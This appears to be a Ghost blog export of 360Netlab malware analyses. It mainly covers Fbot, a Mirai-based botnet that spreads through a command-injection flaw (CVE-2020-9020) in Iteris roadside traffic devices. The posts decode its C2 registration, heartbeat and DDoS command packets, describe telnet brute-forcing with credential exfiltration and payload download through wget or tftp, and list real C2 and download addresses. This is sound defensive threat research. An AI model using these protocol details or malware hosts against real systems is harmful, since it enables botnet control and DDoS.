flag\n\t02\t\t\t\t\t\t\t--->flag type, attack package length\n\t00 04\t\t\t\t\t\t--->flag length\n\t31 34 36 30\t\t\t\t\t--->flag data，1460\n\t\n\t\n\t01\t\t\t\t\t\t\t--->flag type, port\n\t00 02\t\t\t\t\t\t--->flag length\n\t35 33\t\t\t\t\t\t--->flag data，53\n——————————————————————————————————————————\n```\n#### 0x03，退出\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png\" class=\"kg-image\"/></a>\n### Telnet扫描&传播\nFbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。\n\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png\" class=\"kg-image\"/></a>\n\n从上面的代码片段，可知其扫描流量有2个特征\n\n1. 扫描23端口数量约为26端口的2倍\n2. tcp头中的序列号与ip头中的目标地址相等\n\n当探测到端口开放时，使用硬编码的凭证列表尝试登录，将能成功登录的```IP，端口，帐号，密码```等信息通过以下代码片段回传给Reporter(```198.23.238.203:774```)。\n\n\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_report.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_report.png\" class=\"kg-image\"/></a>\n实际产生的网络流量如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png\" class=\"kg-image\"/></a>\n最后通过```网络下载```或```ECHO```的方式向存在telnet弱口令的设备植入Fbot样本，并将植入成功的信息回传给Reporter。\n\n#### 1：网络下载\n如果设备有```wget，tftp```工具则直接通过网络下载在设备上下载对应CPU架构的Fbot样本。\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png\" class=\"kg-image\"/></a>\n\n#### 2：ECHO\n如果设备没有网络下载工具则通过ECHO的方式向设备上传入相应CPU架构的**Fbot downloader**，用以下载Fbot样本。\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png\" class=\"kg-image\"/></a>\n其中样本内置的**Fbot downloader**信息如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png\" class=\"kg-image\"/></a>\n以上图中，文件偏移```0x1D794```的downloader为例，\n>MD5:9b49507d1876c3a550f7b7a6e4ec696d\n>\n>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n>Packer:None\n\n它的功能就是向下载服务器(```198.23.238.203:80```)请求Fbot样本并执行。\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png\" class=\"kg-image\"/></a>\n\n### 处置建议\n我们建议Vantage Velocity用户及时检查并更新固件系统。\n我们建议Vantage Velocity用户为Web和SSH等管理接口设置复杂登陆密码。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n198.23.238.203 \tUnited States \tASN36352 \tAS-COLOCROSSING\n```\n\nC2:\n```\n198.23.238.203:5684\n```\n\nURL:\n```\nhttp://198.23.238.203/arm7\n```\n\nMD5:\n```\ndeaee7ada44bf1c6af826d2d170c8698\n```\n\n\n### 招聘信息\n360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。\n\n从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。\n\n招聘岗位：\n前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师\n\n详情链接：__GHOST_URL__/work-in-hangzhou/\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6034c6aed0d9b7000712b6e2 |
post | null | 2021-03-03T01:47:57.000Z | 63873b9a8b1c1e0007f52fa9 | fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en | 0 | 2022-02-09T07:06:42.000Z | public | published | null | 2021-03-03T14:00:00.000Z | Fbot is now riding the traffic and transportation smart devices | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>Fbot, a botnet based on Mirai, has been very active ever sine we first blogged about it here<a href="__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/">[1]</a><a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">[2]</a>, we have seen this botnet using multiple 0 days before(some of them we have not disclosed yet) and it has been targeting various IoT devices, now, it is aiming a new category, traffic and transportation smart devices.</p>
<p>On February 20, 2021, the 360Netlab Threat Detection System captured attackers were using a remote command execution vulnerability (CVE-2020-9020)<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-9023">[3]</a><a href="https://sku11army.blogspot.com/2020/01/iteris-vantage-velocity-field-unit-no.html">[4]</a> in the Vantage Velocity product from Iteris to spread Fbot botnet samples.</p>
<p>According to Wikipedia<a href="https://en.wikipedia.org/wiki/Iteris">[5]</a>, Iteris, Inc. provides intelligent mobile infrastructure management services and produces sensors and other devices that record and predict traffic conditions.</p>
<p>Based on the AIrLink GX450 Mobile Gateway production information found on the affected devices, we speculate that the affected devices are roadside monitoring device.</p>
<h3 id="cve20209020vulnerabilityanalysis">CVE-2020-9020 Vulnerability Analysis</h3>
<p>Through the 360 FirmwareTotal system, we verified and analyzed the CVE-2020-9020 vulnerability, here is the brief.</p>
<ol>
<li>
<p>Vantage Velocity product synchronizes With NTP Server, where user can set the specified ntp server address.</p>
</li>
<li>
<p>The <code>timeconfig.py</code> script does not filter the <code>htmlNtpServer</code> variable after accepting a user Web request, i.e., it is spliced into the shell variable format <code>"ntpserver=" + form["htmlNtpServer"].value.strip()</code> and written to the <code>/root/timeparam</code> file.</p>
</li>
<li>
<p>The command execution vulnerability is triggered when the <code>timeconfig.py</code> script calls the shell script <code>/root/ntpconfig</code>, which reads the <code>/root/timeparam</code> file to initialize the variable ntpserver.</p>
</li>
</ol>
<h3 id="vulnerabilityimpactscope">Vulnerability impact scope</h3>
<p>The 360 Quake cyberspace mapping system found the specific distribution of Vantage Velocity devices by mapping assets across the network as shown in the figure below.<br>
<a href="__GHOST_URL__/content/images/2021/03/CVE_2020_9020_stats_en.png"><img src="__GHOST_URL__/content/images/2021/03/CVE_2020_9020_stats_en.png" class="kg-image"/></a></p>
<h3 id="fbotbotnet">Fbot botnet</h3>
<p>Fbot is a botnet based on Mirai, with 2 main changes</p>
<ul>
<li>Encryption algorithm</li>
<li>Registration packets, heartbeat packets</li>
</ul>
<p>The basic information of this sample is shown below:</p>
<blockquote>
<p>MD5:deaee7ada44bf1c6af826d2d170c8698</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:None</p>
</blockquote>
<p>It has no added features in itself, the main function is</p>
<ul>
<li>DDoS attack</li>
<li>Telnet scanning</li>
</ul>
<p>The following section will briefly analyze around the above functions.</p>
<h3 id="ddosattack">DDoS attack</h3>
<p>First Fbot establishes a connection with the hardcoded C2 (198.23.238.203:5684) via the following code snippet.</p>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png" class="kg-image"/></a></p>
<p>Then it sends a 78-byte long registration message to C2<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png" class="kg-image"/></a></p>
<p>The network traffic generated in practice is shown below.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png" class="kg-image"/></a></p>
<p>The information in the registration packet is used to verify the legal identity of the BOT, and the format of the registration packet is parsed as shown below.</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register package
00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication
00 07 --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string，"unknown"
——————————————————————————————————————————
</code></pre>
<p>After sending the registration packet the Bot starts to wait for C2 to issue commands, the first byte of the command packet specifies the command type.</p>
<h4 id="0x00heartbeatcommandcode">0x00， heartbeat command code</h4>
<p>Take the following heartbeat as an example<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png" class="kg-image"/></a></p>
<p>The format of the heartbeat packet is parsed as follows</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded
——————————————————————————————————————————
</code></pre>
<h4 id="0x01ddosattackcommandcode">0x01，DDoS attack command code</h4>
<p>Take the following attack instruction as an example<br>
<a href="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png" class="kg-image"/></a></p>
<p>The format of the attack packet is parsed as follows</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
</code></pre>
<h4 id="0x03exit">0x03，exit</h4>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png" class="kg-image"/></a></p>
<h3 id="telnetscanpropagation">Telnet scan & propagation</h3>
<p>Fbot uses the technique of SYN port detection in the propagation process to improve the efficiency of propagation.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png" class="kg-image"/></a></p>
<p>From the above code snippet, it can be seen that its scanning traffic has 2 characteristics</p>
<ol>
<li>The number of scanned 23 ports is about twice as many as 26 ports</li>
<li>The sequence number in the tcp header is equal to the target address in the ip header</li>
</ol>
<p>When a port is detected as open, login is attempted using a hard-coded credential list. Once successful, the IP, port, account, password, etc. are sent back to Reporter (198.23.238.203:774) via the following code snippet.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_report.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_report.png" class="kg-image"/></a></p>
<p>The actual network traffic generated is shown in the following figure.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png" class="kg-image"/></a></p>
<p>Finally, the Fbot sample is implanted to the device either with network download(see below) or ECHO, and the successful implantation information is sent back to Reporter.</p>
<h4 id="1networkdownload">1：Network download</h4>
<p>If the device has wget or tftp, the Fbot sample of the corresponding CPU architecture on the device will be downloaded.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png" class="kg-image"/></a></p>
<h4 id="2echo">2：ECHO</h4>
<p>If the device does not have a network download tool, the Fbot downloader of the corresponding CPU architecture is uploaded to the device via ECHO to download the Fbot samples.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png" class="kg-image"/></a></p>
<p>The information of the Fbot downloader built into the sample is shown as follows.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png" class="kg-image"/></a></p>
<p>In the above figure, the downloader with file offset 0x1D794 is used as an example.</p>
<blockquote>
<p>MD5:9b49507d1876c3a550f7b7a6e4ec696d</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer:None</p>
</blockquote>
<p>Its function is to request the Fbot sample from the download server (198.23.238.203:80) and execute it.<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png" class="kg-image"/></a></p>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend Vantage Velocity users to check and update the firmware system in a timely manner.</p>
<p>We recommend that Vantage Velocity users set complex login passwords for management interfaces such as Web and SSH.</p>
<p>We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360<br>
dot cn.</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>198.23.238.203 United States ASN36352 AS-COLOCROSSING
</code></pre>
<p>C2:</p>
<pre><code>198.23.238.203:5684
</code></pre>
<p>URL:</p>
<pre><code>http://198.23.238.203/arm7
</code></pre>
<p>MD5:</p>
<pre><code>deaee7ada44bf1c6af826d2d170c8698
</code></pre>
<!--kg-card-end: markdown--> | Background
Fbot, a botnet based on Mirai, has been very active ever sine we first blogged about it here[1][2], we have seen this botnet using multiple 0 days before(some of them we have not disclosed yet) and it has been targeting various IoT devices, now, it is aiming a new category, traffic and transportation smart devices.
On February 20, 2021, the 360Netlab Threat Detection System captured attackers were using a remote command execution vulnerability (CVE-2020-9020)[3][4] in the Vantage Velocity product from Iteris to spread Fbot botnet samples.
According to Wikipedia[5], Iteris, Inc. provides intelligent mobile infrastructure management services and produces sensors and other devices that record and predict traffic conditions.
Based on the AIrLink GX450 Mobile Gateway production information found on the affected devices, we speculate that the affected devices are roadside monitoring device.
CVE-2020-9020 Vulnerability Analysis
Through the 360 FirmwareTotal system, we verified and analyzed the CVE-2020-9020 vulnerability, here is the brief.
1.
Vantage Velocity product synchronizes With NTP Server, where user can set the specified ntp server address.
2.
The timeconfig.py script does not filter the htmlNtpServer variable after accepting a user Web request, i.e., it is spliced into the shell variable format "ntpserver=" + form["htmlNtpServer"].value.strip() and written to the /root/timeparam file.
3.
The command execution vulnerability is triggered when the timeconfig.py script calls the shell script /root/ntpconfig, which reads the /root/timeparam file to initialize the variable ntpserver.
Vulnerability impact scope
The 360 Quake cyberspace mapping system found the specific distribution of Vantage Velocity devices by mapping assets across the network as shown in the figure below.
Fbot botnet
Fbot is a botnet based on Mirai, with 2 main changes
* Encryption algorithm
* Registration packets, heartbeat packets
The basic information of this sample is shown below:
MD5:deaee7ada44bf1c6af826d2d170c8698
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer:None
It has no added features in itself, the main function is
* DDoS attack
* Telnet scanning
The following section will briefly analyze around the above functions.
DDoS attack
First Fbot establishes a connection with the hardcoded C2 (198.23.238.203:5684) via the following code snippet.
Then it sends a 78-byte long registration message to C2
The network traffic generated in practice is shown below.
The information in the registration packet is used to verify the legal identity of the BOT, and the format of the registration packet is parsed as shown below.
Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register package
00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication
00 07 --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string，"unknown"
——————————————————————————————————————————
After sending the registration packet the Bot starts to wait for C2 to issue commands, the first byte of the command packet specifies the command type.
0x00， heartbeat command code
Take the following heartbeat as an example
The format of the heartbeat packet is parsed as follows
Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded
——————————————————————————————————————————
0x01，DDoS attack command code
Take the following attack instruction as an example
The format of the attack packet is parsed as follows
Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
0x03，exit
Telnet scan & propagation
Fbot uses the technique of SYN port detection in the propagation process to improve the efficiency of propagation.
From the above code snippet, it can be seen that its scanning traffic has 2 characteristics
1. The number of scanned 23 ports is about twice as many as 26 ports
2. The sequence number in the tcp header is equal to the target address in the ip header
When a port is detected as open, login is attempted using a hard-coded credential list. Once successful, the IP, port, account, password, etc. are sent back to Reporter (198.23.238.203:774) via the following code snippet.
The actual network traffic generated is shown in the following figure.
Finally, the Fbot sample is implanted to the device either with network download(see below) or ECHO, and the successful implantation information is sent back to Reporter.
1：Network download
If the device has wget or tftp, the Fbot sample of the corresponding CPU architecture on the device will be downloaded.
2：ECHO
If the device does not have a network download tool, the Fbot downloader of the corresponding CPU architecture is uploaded to the device via ECHO to download the Fbot samples.
The information of the Fbot downloader built into the sample is shown as follows.
In the above figure, the downloader with file offset 0x1D794 is used as an example.
MD5:9b49507d1876c3a550f7b7a6e4ec696d
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer:None
Its function is to request the Fbot sample from the download server (198.23.238.203:80) and execute it.
Suggestions
We recommend Vantage Velocity users to check and update the firmware system in a timely manner.
We recommend that Vantage Velocity users set complex login passwords for management interfaces such as Web and SSH.
We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.
IoC
IP:
198.23.238.203 United States ASN36352 AS-COLOCROSSING
C2:
198.23.238.203:5684
URL:
http://198.23.238.203/arm7
MD5:
deaee7ada44bf1c6af826d2d170c8698
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\nFbot, a botnet based on Mirai, has been very active ever sine we first blogged about it here[[1]](__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/)[[2]](__GHOST_URL__/the-new-developments-of-the-fbot-en/), we have seen this botnet using multiple 0 days before(some of them we have not disclosed yet) and it has been targeting various IoT devices, now, it is aiming a new category, traffic and transportation smart devices.\n\nOn February 20, 2021, the 360Netlab Threat Detection System captured attackers were using a remote command execution vulnerability (CVE-2020-9020)[[3]](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-9023)[[4]](https://sku11army.blogspot.com/2020/01/iteris-vantage-velocity-field-unit-no.html) in the Vantage Velocity product from Iteris to spread Fbot botnet samples.\n\nAccording to Wikipedia[[5]](https://en.wikipedia.org/wiki/Iteris), Iteris, Inc. provides intelligent mobile infrastructure management services and produces sensors and other devices that record and predict traffic conditions.\n\nBased on the AIrLink GX450 Mobile Gateway production information found on the affected devices, we speculate that the affected devices are roadside monitoring device.\n\n### CVE-2020-9020 Vulnerability Analysis\nThrough the 360 FirmwareTotal system, we verified and analyzed the CVE-2020-9020 vulnerability, here is the brief.\n\n1. Vantage Velocity product synchronizes With NTP Server, where user can set the specified ntp server address.\n\n3. The `timeconfig.py` script does not filter the `htmlNtpServer` variable after accepting a user Web request, i.e., it is spliced into the shell variable format `\"ntpserver=\" + form[\"htmlNtpServer\"].value.strip()` and written to the `/root/timeparam` file.\n\n3. The command execution vulnerability is triggered when the `timeconfig.py` script calls the shell script `/root/ntpconfig`, which reads the `/root/timeparam` file to initialize the variable ntpserver.\n\n### Vulnerability impact scope\nThe 360 Quake cyberspace mapping system found the specific distribution of Vantage Velocity devices by mapping assets across the network as shown in the figure below.\n<a href=\"__GHOST_URL__/content/images/2021/03/CVE_2020_9020_stats_en.png\"><img src=\"__GHOST_URL__/content/images/2021/03/CVE_2020_9020_stats_en.png\" class=\"kg-image\"/></a>\n\n### Fbot botnet\nFbot is a botnet based on Mirai, with 2 main changes\n\n- Encryption algorithm\n- Registration packets, heartbeat packets\n\nThe basic information of this sample is shown below:\n\n> MD5:deaee7ada44bf1c6af826d2d170c8698\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\n>\n> Packer:None\n\nIt has no added features in itself, the main function is\n\n- DDoS attack\n- Telnet scanning\n\nThe following section will briefly analyze around the above functions.\n\n\n### DDoS attack\nFirst Fbot establishes a connection with the hardcoded C2 (198.23.238.203:5684) via the following code snippet.\n\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png\" class=\"kg-image\"/></a>\n\n\nThen it sends a 78-byte long registration message to C2\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png\" class=\"kg-image\"/></a>\n\nThe network traffic generated in practice is shown below.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png\" class=\"kg-image\"/></a>\n\n\nThe information in the registration packet is used to verify the legal identity of the BOT, and the format of the registration packet is parsed as shown below.\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n02 --->type，register package\n00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication\n00 07 --->length of group string\n75 6e 6b 6e 6f 77 6e ---->group string，\"unknown\"\n——————————————————————————————————————————\n```\n\nAfter sending the registration packet the Bot starts to wait for C2 to issue commands, the first byte of the command packet specifies the command type.\n\n#### 0x00， heartbeat command code\nTake the following heartbeat as an example\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png\" class=\"kg-image\"/></a>\n\n\nThe format of the heartbeat packet is parsed as follows\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n00 --->type，heartbeat package\n1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded\n——————————————————————————————————————————\n```\n\n#### 0x01，DDoS attack command code\nTake the following attack instruction as an example\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\" class=\"kg-image\"/></a>\n\n\nThe format of the attack packet is parsed as follows\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n01 \t\t\t\t\t\t--->type，attack package \n01\t\t\t\t\t\t\t--->attack type\n00 3c \t\t\t\t\t\t--->time (sec)\n01\t\t\t\t\t\t\t--->number of target\n67 5f dd bc 00 20\t\t\t--->target/mask,103.95.221.188/32\n02\t\t\t\t\t\t\t--->number of flag\n\t02\t\t\t\t\t\t\t--->flag type, attack package length\n\t00 04\t\t\t\t\t\t--->flag length\n\t31 34 36 30\t\t\t\t\t--->flag data，1460\n\t\n\t\n\t01\t\t\t\t\t\t\t--->flag type, port\n\t00 02\t\t\t\t\t\t--->flag length\n\t35 33\t\t\t\t\t\t--->flag data，53\n——————————————————————————————————————————\n```\n#### 0x03，exit\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png\" class=\"kg-image\"/></a>\n\n### Telnet scan & propagation\nFbot uses the technique of SYN port detection in the propagation process to improve the efficiency of propagation.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png\" class=\"kg-image\"/></a>\n\nFrom the above code snippet, it can be seen that its scanning traffic has 2 characteristics\n\n1. The number of scanned 23 ports is about twice as many as 26 ports\n2. The sequence number in the tcp header is equal to the target address in the ip header\n\nWhen a port is detected as open, login is attempted using a hard-coded credential list. Once successful, the IP, port, account, password, etc. are sent back to Reporter (198.23.238.203:774) via the following code snippet.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_report.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_report.png\" class=\"kg-image\"/></a>\n\nThe actual network traffic generated is shown in the following figure.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png\" class=\"kg-image\"/></a>\n\nFinally, the Fbot sample is implanted to the device either with network download(see below) or ECHO, and the successful implantation information is sent back to Reporter.\n\n\n#### 1：Network download\nIf the device has wget or tftp, the Fbot sample of the corresponding CPU architecture on the device will be downloaded.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png\" class=\"kg-image\"/></a>\n\n#### 2：ECHO\nIf the device does not have a network download tool, the Fbot downloader of the corresponding CPU architecture is uploaded to the device via ECHO to download the Fbot samples.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png\" class=\"kg-image\"/></a>\n\nThe information of the Fbot downloader built into the sample is shown as follows.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png\" class=\"kg-image\"/></a>\n\nIn the above figure, the downloader with file offset 0x1D794 is used as an example.\n>MD5:9b49507d1876c3a550f7b7a6e4ec696d\n>\n>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n>Packer:None\n\nIts function is to request the Fbot sample from the download server (198.23.238.203:80) and execute it.\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png\" class=\"kg-image\"/></a>\n\n### Suggestions\nWe recommend Vantage Velocity users to check and update the firmware system in a timely manner.\n\nWe recommend that Vantage Velocity users set complex login passwords for management interfaces such as Web and SSH.\n\nWe recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360\ndot cn.\n\n\n\n### IoC\nIP:\n```\n198.23.238.203 \tUnited States \tASN36352 \tAS-COLOCROSSING\n```\n\nC2:\n```\n198.23.238.203:5684\n```\n\nURL:\n```\nhttp://198.23.238.203/arm7\n```\n\nMD5:\n```\ndeaee7ada44bf1c6af826d2d170c8698\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 603eeacdd0d9b7000712c011 |
post | null | 2021-03-03T09:54:34.000Z | 63873b9a8b1c1e0007f52faa | in-the-wild-qnap-nas-attacks-2 | 0 | 2022-02-09T07:06:32.000Z | public | published | null | 2021-03-05T04:08:29.000Z | QNAP NAS在野漏洞攻击事件2 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2021年3月2号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用台湾QNAP Systems, Inc.公司的网络存储设备诊断程序(Helpdesk)的未授权远程命令执行漏洞（CVE-2020-2506 & CVE-2020-2507），获取到系统root权限并进行恶意挖矿攻击。</p>
<p>我们将此次挖矿程序命名为UnityMiner，值得注意的是攻击者专门针对QNAP NAS设备特性，隐藏了挖矿进程，隐藏了真实的CPU内存资源占用信息，使用户无法在Web管理界面看到系统异常行为。</p>
<p>2020年10月7号，QNAP Systems, Inc.公司发布安全公告QSA-20-08<a href="https://www.qnap.com.cn/zh-tw/security-advisory/qsa-20-08">[1]</a>，并指出已在Helpdesk 3.0.3和更高版本中解决了这些问题。</p>
<p>目前，互联网上还没有公布CVE-2020-2506和CVE-2020-2507的漏洞详细信息，由于该漏洞威胁程度极高，为保护尚未修复漏洞的QNAP NAS用户，我们不公开该漏洞技术细节。我们推测仍有数十万个在线的QNAP NAS设备存在该漏洞。</p>
<p>此前我们曾披露了另一起QNAP NAS在野漏洞攻击事件<a href="__GHOST_URL__/in-the-wild-qnap-nas-attacks/">[2]</a>。</p>
<p><em>注意：该攻击事件仍在进行中，攻击者具备优质的1-day漏洞资源，并根据QNAP设备特性定制化开发。</em></p>
<h3 id="">漏洞影响范围</h3>
<p>360 FirmwareTotal系统通过对QNAP NAS固件分析和漏洞验证，发现2020年8月以前的固件均受该漏洞影响，以下是已知固件列表。</p>
<pre><code>TVS-X73
TVS-X71U
TVS-X71
TVS-X63
TS-XA82
TS-XA73
TS-XA28A
TS-X89U
TS-X88
TS-X85U
TS-X85
TS-X83XU
TS-X82U
TS-X82S
TS-X82
TS-X80U
TS-X80
TS-X77U
TS-X77
TS-X73U
TS-X72U
TS-X72
TS-X63U
TS-X53U
TS-X53S
TS-X53D
TS-X53BU
TS-X53B
TS-X53A
TS-X53
TS-X51U
TS-X51DU
TS-X51B
TS-X51A
TS-X51
TS-X35A
TS-X28A
TS-KVM
TS-879U
TS-879
TS-870U
TS-870
TS-869U
TS-869
TS-859U
TS-859
TS-809U
TS-809
TS-670
TS-669
TS-659
TS-639
TS-569
TS-559
TS-509
TS-470
TS-469U
TS-469
TS-459U
TS-459
TS-439U
TS-439PROII
TS-439
TS-421U
TS-421
TS-420U
TS-420
TS-419U
TS-419P
TS-412U
TS-412
TS-410
TS-269
TS-259
TS-239PROII
TS-239H
TS-239
TS-221
TS-220
TS-219
TS-212
TS-210
TS-1679U
TS-1279U
TS-1270U
TS-1269U
TS-121
TS-120
TS-119
TS-112
TS-110
TS-1079
SS-839
SS-439
SS-2479U
